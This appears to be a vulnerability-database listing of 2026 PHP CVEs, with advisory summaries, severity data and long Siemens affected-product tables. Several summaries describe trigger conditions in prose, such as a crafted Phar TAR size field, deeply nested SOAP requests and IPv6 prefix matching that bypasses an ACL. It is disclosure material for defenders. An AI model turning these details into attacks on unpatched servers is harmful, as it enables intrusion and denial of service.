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1637 vulnerabilities found for php by php
CVE-2026-109619 (GCVE-0-2026-109619)
Vulnerability from nvd – Published: 2026-10-21 13:54 – Updated: 2026-11-05 18:17Title
RCE via stale global state
Summary
PHP has various global state that temporarily points into request memory. In some scenarios, global state may not be correctly reset, or may be repopulated after being reset. The global state may then refer to request memory even after it has been freed. Subsequent requests may read or branch on this stale state before it is fully initialized. Multiple strategies can trigger this condition and produce remote code execution (RCE).
Severity
SSVC
Exploitation: active
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-21 00:00 UTC
CWE
Assigner
References
19 references
Impacted products
108 products
| Vendor | Product | Version | |
|---|---|---|---|
| PHP Group | PHP |
Affected:
8.2.* , < 8.2.35
(semver)
Affected: 8.3.* , < 8.3.36 (semver) Affected: 8.4.* , < 8.4.27 (semver) Affected: 8.5.* , < 8.5.12 (semver) |
|
| Siemens | AMIS TS |
Affected:
0 , < *
(custom)
|
|
| Siemens | AX4 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | blueplanet 360 NX3 M6 WM OD IISX |
Affected:
0 , < *
(custom)
|
|
| Siemens | blueplanet 360 NX3 M6 WM OD IISX - S |
Affected:
0 , < *
(custom)
|
|
| Siemens | Building X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | CADRA |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Call stations |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Capital |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Chargesight |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Climatix Cloud IC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Climatix Devices |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect Insights |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X200 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X300 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X500 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | cRSP |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Depotfinity |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter X Essentials |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo CC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo DXR2 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo DXR3 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo Optic |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC3 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC4 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC5 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC7 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | DFMExpress |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Energy Engage V2.0SP9 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Energy Engage V3.1SP1 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Energy Management System |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Enlighted RTLS |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Enlighted Space |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox Flex Pro |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox H60 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox Rapid |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | HyperLynx |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Insights Hub |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Local Monitoring bt-monitoring-vm |
Affected:
0 , < V20261103
(custom)
|
|
| Siemens | Navigator E&S |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Novigo VANSYS |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Novigo VANSYS core |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Connect Electronics |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Connect MOM |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Core |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Discrete |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Foundation |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Pharma |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Process |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Intelligence |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Intra Plant Logistics |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Quality |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter RDnL |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PACE-Design |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Pro Essentials |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Pro Student Edition |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Professional |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Professional - XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Standard - XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Standard & Standard Plus |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Pathway to Learning Engineering |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Polarion |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | QuadView |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | RUGGEDCOM APE1808 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Sicharge D |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sicharge D Configuration Backend |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SICHARGE FLEX |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SICHARGE UC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Control |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Go |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Setup |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Flomaster |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Flux |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Simlab |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sinteso FS20 EN |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SiPass integrated |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SIPORT |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Control |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Control Pro |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Intrusion |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Video |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Solid Edge |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 3 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 4 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 7 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power TG |
Affected:
0 , < *
(custom)
|
|
| Siemens | Supply Chain Suite |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Product Cost Management |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Share |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Visualization |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Tecnomatix Plant Simulation |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | TestWay |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Valor NPI |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Verischarge |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | VersiCloudHeliox Dual Port 60kW |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Voice alarm panels |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Voice alarm systems and audio matrices |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Workplace Experience |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xcargo |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Designer |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Enterprise |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Enterprise XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition IC Packaging |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Layout Browser |
Unaffected:
0 , < *
(custom)
|
{
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{
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"versions": [
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{
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"versions": [
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{
"defaultStatus": "unknown",
"product": "Desigo PXC3",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unknown",
"product": "Desigo PXC4",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unknown",
"product": "Desigo PXC5",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unknown",
"product": "Desigo PXC7",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0",
"versionType": "custom"
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]
},
{
"defaultStatus": "unknown",
"product": "DFMExpress",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unknown",
"product": "Energy Engage V2.0SP9",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unknown",
"product": "Energy Engage V3.1SP1",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unknown",
"product": "Energy Management System",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unknown",
"product": "Enlighted RTLS",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unknown",
"product": "Enlighted Space",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
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{
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CVE-2026-109618 (GCVE-0-2026-109618)
Vulnerability from nvd – Published: 2026-10-21 13:48 – Updated: 2026-11-05 18:17Title
RCE via OOM corruption
Summary
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
Severity
SSVC
Exploitation: active
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-21 00:00 UTC
CWE
Assigner
References
11 references
Impacted products
107 products
| Vendor | Product | Version | |
|---|---|---|---|
| PHP Group | PHP |
Affected:
8.2.* , < 8.2.35
(semver)
Affected: 8.3.* , < 8.3.36 (semver) Affected: 8.4.* , < 8.4.27 (semver) Affected: 8.5.* , < 8.5.12 (semver) |
|
| Siemens | AMIS TS |
Affected:
0 , < *
(custom)
|
|
| Siemens | AX4 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | blueplanet 360 NX3 M6 WM OD IISX |
Affected:
0 , < *
(custom)
|
|
| Siemens | blueplanet 360 NX3 M6 WM OD IISX - S |
Affected:
0 , < *
(custom)
|
|
| Siemens | Building X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | CADRA |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Call stations |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Capital |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Chargesight |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Climatix Cloud IC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Climatix Devices |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect Insights |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X200 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X300 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Connect X500 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | cRSP |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Depotfinity |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Designcenter X Essentials |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo CC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo DXR2 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo DXR3 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo Optic |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC3 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC4 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC5 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Desigo PXC7 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | DFMExpress |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Energy Engage V2.0SP9 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Energy Engage V3.1SP1 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Energy Management System |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Enlighted RTLS |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Enlighted Space |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox Flex Pro |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox H60 |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Heliox Rapid |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | HyperLynx |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Insights Hub |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Local Monitoring bt-monitoring-vm |
Affected:
0 , < V20261103
(custom)
|
|
| Siemens | Navigator E&S |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Novigo VANSYS |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Novigo VANSYS core |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Connect Electronics |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Connect MOM |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Core |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Discrete |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Foundation |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Pharma |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Execution Process |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Intelligence |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Intra Plant Logistics |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter Quality |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter RDnL |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Opcenter X |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PACE-Design |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Pro Essentials |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Pro Student Edition |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Professional |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Professional - XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Standard - XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | PADS Standard & Standard Plus |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Pathway to Learning Engineering |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Polarion |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | QuadView |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | RUGGEDCOM APE1808 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Sicharge D |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sicharge D Configuration Backend |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SICHARGE FLEX |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SICHARGE UC |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Control |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Go |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sifinity Setup |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Flomaster |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Flux |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Simcenter Simlab |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Sinteso FS20 EN |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SiPass integrated |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | SIPORT |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Control |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Control Pro |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Intrusion |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Siveillance Video |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Solid Edge |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 4 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power 7 |
Affected:
0 , < *
(custom)
|
|
| Siemens | Spectrum Power TG |
Affected:
0 , < *
(custom)
|
|
| Siemens | Supply Chain Suite |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Product Cost Management |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Share |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Teamcenter Visualization |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Tecnomatix Plant Simulation |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | TestWay |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Valor NPI |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Verischarge |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | VersiCloudHeliox Dual Port 60kW |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Voice alarm panels |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Voice alarm systems and audio matrices |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Workplace Experience |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xcargo |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Designer |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Enterprise |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Enterprise XCR |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition IC Packaging |
Unaffected:
0 , < *
(custom)
|
|
| Siemens | Xpedition Layout Browser |
Unaffected:
0 , < *
(custom)
|
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{
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{
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{
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{
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{
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},
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]
},
{
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{
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]
},
{
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{
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]
}
],
"providerMetadata": {
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"orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
"shortName": "siemens-SADP"
},
"references": [
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-566512.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-566435.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-166980.html"
}
],
"x_adpType": "supplier"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageName": "php-src",
"product": "PHP",
"vendor": "PHP Group",
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{
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{
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},
{
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}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Ryan at Calif.io"
},
{
"lang": "en",
"type": "reporter",
"value": "Wiz"
},
{
"lang": "en",
"type": "finder",
"value": "OpenAI"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Arnaud Le Blanc"
},
{
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"type": "remediation developer",
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},
{
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"type": "remediation developer",
"value": "Jakub Zelenka"
},
{
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"type": "remediation developer",
"value": "Nora Dossche"
}
],
"descriptions": [
{
"lang": "en",
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{
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"type": "text/html",
"value": "PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).\u003cbr\u003e"
}
],
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}
],
"impacts": [
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}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 9.2,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
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CVE-2026-92842 (GCVE-0-2026-92842)
Vulnerability from nvd – Published: 2026-09-25 21:11 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
OOB read / info leak in convert.* stream filters when line-break-chars contains NUL
Summary
The convert.base64-encode, convert.quoted-printable-encode and convert.quoted-printable-decode stream filters accept a line-break-chars option whose length is tracked separately from the string itself. The filter constructors duplicate the value with pestrdup(), which stops at the first NUL byte, while keeping the original length. When the filter later emits a line break it copies the recorded length out of the truncated allocation, reading past its end and placing adjacent heap bytes into the filter output.
Severity
5.9 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
Assigner
References
1 reference
| URL | Tags |
|---|---|
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Impacted products
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CVE-2026-91768 (GCVE-0-2026-91768)
Vulnerability from nvd – Published: 2026-09-25 21:07 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
IPv6 ACL bypass in FastCGI listen.allowed_clients due to partial address comparison (memcmp 12 bytes)
Summary
The IPv6 branch of the FastCGI client access check compares only the first 12 bytes of a 16-byte IPv6 address, so listen.allowed_clients matches on a /96 prefix instead of the exact address. An attacker who can source an address sharing the first 96 bits with an allowed one passes the check and reaches the FastCGI endpoint.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:57 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
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CVE-2026-91769 (GCVE-0-2026-91769)
Vulnerability from nvd – Published: 2026-09-25 20:59 – Updated: 2026-10-04 16:10
VLAI
EPSS
VEX
Title
TLS Hostname Verification Falls Back to CN After SAN Mismatch
Summary
PHP's OpenSSL stream peer verification checks the certificate's subjectAltName entries first and, whenever no entry matches, falls back to the Common Name. RFC 6125 requires the CN to be ignored once the certificate presents any service identity, so a certificate carrying a non-matching DNS SAN was still accepted when its CN matched the requested peer_name. A certificate trusted by the client for one name can therefore be used to impersonate another.
Severity
4.3 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
CWE
- CWE-297 - Improper validation of certificate with host mismatch
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
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CVE-2026-91767 (GCVE-0-2026-91767)
Vulnerability from nvd – Published: 2026-09-25 20:53 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
Heap-buffer-overflow in php_openssl_matches_wildcard_name on crafted server cert wildcard CN
Summary
php_openssl_matches_wildcard_name() in ext/openssl/xp_ssl.c underflows the length argument passed to memchr() when a TLS server certificate presents a wildcard name whose literal characters are together longer than the hostname being verified. A malicious server presenting such a certificate makes the PHP client read up to SIZE_MAX bytes past the end of a heap allocation. The path is reachable from any default client stream, because verify_peer_name is enabled by default.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
CWE
- CWE-122 - Heap-based buffer overflow
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
Date Public
2026-09-25 20:49
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CVE-2026-91766 (GCVE-0-2026-91766)
Vulnerability from nvd – Published: 2026-09-25 20:40 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
Cross-origin credential leak in HTTP stream wrapper redirects
Summary
When the http:// stream wrapper follows a redirect it forwards the user-supplied Authorization, Cookie and Proxy-Authorization headers unchanged, even when the redirect target is a different host, a different port, or a downgrade from HTTPS to HTTP. A server that can steer a redirect therefore receives credentials that were only meant for the original origin. This is the same class of issue that libcurl fixed in 7.58.0 ( CVE-2018-1000007 https://github.com/advisories/GHSA-g7x2-hrfp-pv5f ).
Severity
5.9 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
Assigner
References
1 reference
| URL | Tags |
|---|---|
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CVE-2026-91765 (GCVE-0-2026-91765)
Vulnerability from nvd – Published: 2026-09-25 20:33 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
SOAP: Unbounded Recursion in Server-Side cleanup_xml_node
Summary
cleanup_xml_node() in the SOAP XML parser recurses once per XML nesting level with no depth limit. An unauthenticated attacker can post a SOAP request containing tens of thousands of nested elements to any SoapServer endpoint, exhaust the stack and crash the process. The same unbounded recursion exists in the SOAP value decoder and in the WSDL node search helper.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
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CVE-2026-6103 (GCVE-0-2026-6103)
Vulnerability from nvd – Published: 2026-09-25 20:08 – Updated: 2026-09-25 20:41
VLAI
EPSS
VEX
Title
Phar TAR phar_tar_number() Integer Overflow - Archive Entry Injection
Summary
phar_tar_number() parses the octal size field of a TAR header into a uint32_t with no overflow check. The field is 11 octal digits wide and holds values up to 0x1FFFFFFFF, so a size above 0xFFFFFFFF silently wraps. The parser then skips the wrong number of data blocks and interprets attacker-controlled file content as the next TAR header, which lets a crafted archive inject entries that PharData reports and extracts as if they were genuine.
Severity
4.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-25 20:41 UTC
CWE
- CWE-190 - Integer overflow or wraparound
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
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CVE-2026-17545 (GCVE-0-2026-17545)
Vulnerability from nvd – Published: 2026-09-25 20:18 – Updated: 2026-09-25 20:43
VLAI
EPSS
VEX
Title
PHP on Windows: Reserved Device Names Are Not Rejected Before File/Stream I/O which can cause DoS
Summary
On Windows, PHP's filesystem and stream APIs do not reject reserved device names such as CON, PRN, AUX, NUL, COM1 to COM9, LPT1 to LPT9, CONIN$ and CONOUT$ when they appear as a component of a path. An attacker-controlled filename therefore reaches CreateFileW() and opens a device instead of the regular file the application expected, which can block or hang the request and exhaust worker processes.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-25 20:43 UTC
CWE
- CWE-67 - Improper handling of windows device names
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
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CVE-2025-1218 (GCVE-0-2025-1218)
Vulnerability from nvd – Published: 2026-09-25 20:48 – Updated: 2026-09-28 13:31
VLAI
EPSS
VEX
Title
Various packet overreads in mysqlnd_writeprotocol.c
Summary
The mysqlnd wire protocol parser reads fields out of server packets before checking that the packet still holds enough bytes for them. A malicious or compromised MySQL server can send a truncated packet and make the client read past the end of the packet buffer, which is undefined behaviour and can crash the process.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 12:56 UTC
CWE
- CWE-122 - Heap-based buffer overflow
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/php/php-src/security/advisorie… | vendor-advisory |
Impacted products
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CVE-2025-14181 (GCVE-0-2025-14181)
Vulnerability from nvd – Published: 2026-09-25 20:26 – Updated: 2026-09-25 20:44
VLAI
EPSS
